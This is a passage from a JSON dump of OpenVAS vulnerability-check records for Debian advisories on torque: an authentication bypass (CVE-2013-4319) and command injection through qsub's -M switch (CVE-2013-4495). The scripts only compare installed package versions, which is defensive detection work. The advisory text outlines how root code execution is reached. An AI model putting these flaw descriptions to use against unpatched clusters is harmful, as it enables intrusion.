ver:\"2.4.16+dfsg-1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.16+dfsg-1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99);\n}", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2017-07-24T12:52:00", "description": "John Fitzpatrick of MWR InfoSecurity discovered an authentication bypass\nvulnerability in torque, a PBS-derived batch processing queueing system.\n\nThe torque authentication model revolves around the use of privileged\nports. If a request is not made from a privileged port then it is\nassumed not to be trusted or authenticated. It was found that pbs_mom\ndoes not perform a check to ensure that connections are established\nfrom a privileged port.\n\nA user who can run jobs or login to a node running pbs_server or pbs_mom\ncan exploit this vulnerability to remotely execute code as root on the\ncluster by submitting a command directly to a pbs_mom daemon\nto queue and run a job.", "cvss3": {}, "published": "2013-10-09T00:00:00", "type": "openvas", "title": "Debian Security Advisory DSA 2770-1 (torque - authentication bypass)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4319"], "modified": "2017-07-07T00:00:00", "id": "OPENVAS:892770", "href": "http://plugins.openvas.org/nasl.php?oid=892770", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_2770.nasl 6611 2017-07-07 12:07:20Z cfischer $\n# Auto-generated from advisory DSA 2770-1 using nvtgen 1.0\n# Script version: 1.0\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2013 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\n\ntag_affected = \"torque on Debian Linux\";\ntag_insight = \"The TORQUE server dispatches jobs across physically separated machines. It\nmay also be beneficial for single machines to organise the sequential execution\nof multiple jobs.\";\ntag_solution = \"For the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze2.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u1.\n\nFor the unstable distribution (sid), this problem will be fixed soon.\n\nWe recommend that you upgrade your torque packages.\";\ntag_summary = \"John Fitzpatrick of MWR InfoSecurity discovered an authentication bypass\nvulnerability in torque, a PBS-derived batch processing queueing system.\n\nThe torque authentication model revolves around the use of privileged\nports. If a request is not made from a privileged port then it is\nassumed not to be trusted or authenticated. It was found that pbs_mom\ndoes not perform a check to ensure that connections are established\nfrom a privileged port.\n\nA user who can run jobs or login to a node running pbs_server or pbs_mom\ncan exploit this vulnerability to remotely execute code as root on the\ncluster by submitting a command directly to a pbs_mom daemon\nto queue and run a job.\";\ntag_vuldetect = \"This check tests the installed software version using the apt package manager.\";\n\nif(description)\n{\n script_id(892770);\n script_version(\"$Revision: 6611 $\");\n script_cve_id(\"CVE-2013-4319\");\n script_name(\"Debian Security Advisory DSA 2770-1 (torque - authentication bypass)\");\n script_tag(name: \"last_modification\", value:\"$Date: 2017-07-07 14:07:20 +0200 (Fri, 07 Jul 2017) $\");\n script_tag(name: \"creation_date\", value:\"2013-10-09 00:00:00 +0200 (Wed, 09 Oct 2013)\");\n script_tag(name: \"cvss_base\", value:\"9.0\");\n script_tag(name: \"cvss_base_vector\", value:\"AV:N/AC:L/Au:S/C:C/I:C/A:C\");\n\n script_xref(name: \"URL\", value: \"http://www.debian.org/security/2013/dsa-2770.html\");\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2013 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\");\n script_tag(name: \"affected\", value: tag_affected);\n script_tag(name: \"insight\", value: tag_insight);\n# script_tag(name: \"impact\", value: tag_impact);\n script_tag(name: \"solution\", value: tag_solution);\n script_tag(name: \"summary\", value: tag_summary);\n script_tag(name: \"vuldetect\", value: tag_vuldetect);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 9.0, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-05-29T18:38:15", "description": "John Fitzpatrick of MWR InfoSecurity discovered an authentication bypass\nvulnerability in torque, a PBS-derived batch processing queueing system.\n\nThe torque authentication model revolves around the use of privileged\nports. If a request is not made from a privileged port then it is\nassumed not to be trusted or authenticated. It was found that pbs_mom\ndoes not perform a check to ensure that connections are established\nfrom a privileged port.\n\nA user who can run jobs or login to a node running pbs_server or pbs_mom\ncan exploit this vulnerability to remotely execute code as root on the\ncluster by submitting a command directly to a pbs_mom daemon\nto queue and run a job.", "cvss3": {}, "published": "2013-10-09T00:00:00", "type": "openvas", "title": "Debian Security Advisory DSA 2770-1 (torque - authentication bypass)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4319"], "modified": "2019-03-18T00:00:00", "id": "OPENVAS:1361412562310892770", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310892770", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_2770.nasl 14276 2019-03-18 14:43:56Z cfischer $\n# Auto-generated from advisory DSA 2770-1 using nvtgen 1.0\n# Script version: 1.0\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2013 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.892770\");\n script_version(\"$Revision: 14276 $\");\n script_cve_id(\"CVE-2013-4319\");\n script_name(\"Debian Security Advisory DSA 2770-1 (torque - authentication bypass)\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-18 15:43:56 +0100 (Mon, 18 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2013-10-09 00:00:00 +0200 (Wed, 09 Oct 2013)\");\n script_tag(name:\"cvss_base\", value:\"9.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:S/C:C/I:C/A:C\");\n\n script_xref(name:\"URL\", value:\"http://www.debian.org/security/2013/dsa-2770.html\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2013 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB(6|7)\");\n script_tag(name:\"affected\", value:\"torque on Debian Linux\");\n script_tag(name:\"solution\", value:\"For the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze2.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u1.\n\nFor the unstable distribution (sid), this problem will be fixed soon.\n\nWe recommend that you upgrade your torque packages.\");\n script_tag(name:\"summary\", value:\"John Fitzpatrick of MWR InfoSecurity discovered an authentication bypass\nvulnerability in torque, a PBS-derived batch processing queueing system.\n\nThe torque authentication model revolves around the use of privileged\nports. If a request is not made from a privileged port then it is\nassumed not to be trusted or authenticated. It was found that pbs_mom\ndoes not perform a check to ensure that connections are established\nfrom a privileged port.\n\nA user who can run jobs or login to a node running pbs_server or pbs_mom\ncan exploit this vulnerability to remotely execute code as root on the\ncluster by submitting a command directly to a pbs_mom daemon\nto queue and run a job.\");\n script_tag(name:\"vuldetect\", value:\"This check tests the installed software version using the apt package manager.\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.8+dfsg-9squeeze2\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.16+dfsg-1+deb7u1\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2017-07-24T12:51:51", "description": "Matt Ezell from Oak Ridge National Labs reported a vulnerability in\ntorque, a PBS-derived batch processing queueing system.\n\nA user could submit executable shell commands on the tail of what is\npassed with the -M switch for qsub. This was later passed to a pipe,\nmaking it possible for these commands to be executed as root on the\npbs_server.", "cvss3": {}, "published": "2013-11-13T00:00:00", "type": "openvas", "title": "Debian Security Advisory DSA 2796-1 (torque - arbitrary code execution)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4495"], "modified": "2017-07-07T00:00:00", "id": "OPENVAS:892796", "href": "http://plugins.openvas.org/nasl.php?oid=892796", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_2796.nasl 6611 2017-07-07 12:07:20Z cfischer $\n# Auto-generated from advisory DSA 2796-1 using nvtgen 1.0\n# Script version: 1.0\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2013 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\n\ntag_affected = \"torque on Debian Linux\";\ntag_insight = \"The TORQUE server dispatches jobs across physically separated machines. It\nmay also be beneficial for single machines to organise the sequential execution\nof multiple jobs.\";\ntag_solution = \"For the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze3.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u2.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.4.16+dfsg-1.3.\n\nWe recommend that you upgrade your torque packages.\";\ntag_summary = \"Matt Ezell from Oak Ridge National Labs reported a vulnerability in\ntorque, a PBS-derived batch processing queueing system.\n\nA user could submit executable shell commands on the tail of what is\npassed with the -M switch for qsub. This was later passed to a pipe,\nmaking it possible for these commands to be executed as root on the\npbs_server.\";\ntag_vuldetect = \"This check tests the installed software version using the apt package manager.\";\n\nif(description)\n{\n script_id(892796);\n script_version(\"$Revision: 6611 $\");\n script_cve_id(\"CVE-2013-4495\");\n script_name(\"Debian Security Advisory DSA 2796-1 (torque - arbitrary code execution)\");\n script_tag(name: \"last_modification\", value:\"$Date: 2017-07-07 14:07:20 +0200 (Fri, 07 Jul 2017) $\");\n script_tag(name: \"creation_date\", value:\"2013-11-13 00:00:00 +0100 (Wed, 13 Nov 2013)\");\n script_tag(name: \"cvss_base\", value:\"10.0\");\n script_tag(name: \"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_xref(name: \"URL\", value: \"http://www.debian.org/security/2013/dsa-2796.html\");\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2013 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\");\n script_tag(name: \"affected\", value: tag_affected);\n script_tag(name: \"insight\", value: tag_insight);\n# script_tag(name: \"impact\", value: tag_impact);\n script_tag(name: \"solution\", value: tag_solution);\n script_tag(name: \"summary\", value: tag_summary);\n script_tag(name: \"vuldetect\", value: tag_vuldetect);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-05-29T18:38:25", "description": "Matt Ezell from Oak Ridge National Labs reported a vulnerability in\ntorque, a PBS-derived batch processing queueing system.\n\nA user could submit executable shell commands on the tail of what is\npassed with the -M switch for qsub. This was later passed to a pipe,\nmaking it possible for these commands to be executed as root on the\npbs_server.", "cvss3": {}, "published": "2013-11-13T00:00:00", "type": "openvas", "title": "Debian Security Advisory DSA 2796-1 (torque - arbitrary code execution)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2013-4495"], "modified": "2019-03-18T00:00:00", "id": "OPENVAS:1361412562310892796", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310892796", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_2796.nasl 14276 2019-03-18 14:43:56Z cfischer $\n# Auto-generated from advisory DSA 2796-1 using nvtgen 1.0\n# Script version: 1.0\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2013 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.892796\");\n script_version(\"$Revision: 14276 $\");\n script_cve_id(\"CVE-2013-4495\");\n script_name(\"Debian Security Advisory DSA 2796-1 (torque - arbitrary code execution)\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-18 15:43:56 +0100 (Mon, 18 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2013-11-13 00:00:00 +0100 (Wed, 13 Nov 2013)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_xref(name:\"URL\", value:\"http://www.debian.org/security/2013/dsa-2796.html\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2013 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB(6|7)\");\n script_tag(name:\"affected\", value:\"torque on Debian Linux\");\n script_tag(name:\"solution\", value:\"For the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze3.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u2.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.4.16+dfsg-1.3.\n\nWe recommend that you upgrade your torque packages.\");\n script_tag(name:\"summary\", value:\"Matt Ezell from Oak Ridge National Labs reported a vulnerability in\ntorque, a PBS-derived batch processing queueing system.\n\nA user could submit executable shell commands on the tail of what is\npassed with the -M switch for qsub. This was later passed to a pipe,\nmaking it possible for these commands to be executed as root on the\npbs_server.\");\n script_tag(name:\"vuldetect\", value:\"This check tests the installed software version using the apt package manager.\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.8+dfsg-9squeeze3\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-server\", 